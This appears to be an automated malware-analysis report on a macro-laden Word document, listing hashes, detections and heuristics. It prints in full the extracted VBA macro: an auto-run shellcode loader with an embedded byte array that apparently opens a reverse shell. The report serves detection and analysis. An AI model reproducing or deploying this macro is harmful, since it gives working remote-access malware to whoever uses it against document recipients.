Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 e3189d289bd6a302…

MALICIOUS

Office (OOXML) / .DOCX

16.3 KB Created: 2026-04-19 07:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2026-06-28
MD5: 6c05526c123921441dbc111b486bc919 SHA-1: cdebbbbaea8107450bfe91730737dccffdc7f25f SHA-256: e3189d289bd6a302c6c5278fc689c488feba6350f03bbd0901a1d7a66a623189
226 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
        Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Nccgi As Long, ByVal Dhjwf As Long, ByVal Pwmwjd As Long, ByVal Areayiuhw As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3440 bytes
SHA-256: cf46b739ac1018329f3ad06a4549f09f4ba3ef8319439ed70facc46a6991d3b9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ydfucg As Long, ByVal Boni As Long, ByVal Hpjs As LongPtr, Bzol As Long, ByVal Avne As Long, Hpudy As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Nccgi As Long, ByVal Dhjwf As Long, ByVal Pwmwjd As Long, ByVal Areayiuhw As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Jph As LongPtr, ByRef Rmetbzb As Any, ByVal Nmsgv As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Ydfucg As Long, ByVal Boni As Long, ByVal Hpjs As Long, Bzol As Long, ByVal Avne As Long, Hpudy As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Nccgi As Long, ByVal Dhjwf As Long, ByVal Pwmwjd As Long, ByVal Areayiuhw As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Jph As Long, ByRef Rmetbzb As Any, ByVal Nmsgv As Long) As Long
#End If

Sub Auto_Open()
    Dim Nbtkth As Long, Yvhzhufb As Variant, Wmh As Long
#If Vba7 Then
    Dim Iiju As LongPtr, Ave As LongPtr
#Else
    Dim Iiju As Long, Ave As Long
#End If
    Yvhzhufb = Array(252, 232, 143, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 49, 255, 15, 183, 74, 38, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 87, 116, 76, 1, 208, 80, 139, 88, 32, 139, 72, 24, 1, 211, 133, 201, 116, 60, 73, 49, _
255, 139, 52, 139, 1, 214, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, _
104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 1, 11, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, _
106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, _
94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, 255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Iiju = VirtualAlloc(0, UBound(Yvhzhufb), &H1000, &H40)
    For Wmh = LBound(Yvhzhufb) To UBound(Yvhzhufb)
        Nbtkth = Yvhzhufb(Wmh)
        Ave = RtlMoveMemory(Iiju + Wmh, Nbtkth, 1)
    Next Wmh
    Ave = CreateThread(0, 0, Iiju, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: d1c422a5a47988ab3e03c33320ef6ef300826bdc41208962c62743d1e18d85c4
Detection
ClamAV: Doc.Dropper.Valyria-6680543-0
Obfuscation or payload: unlikely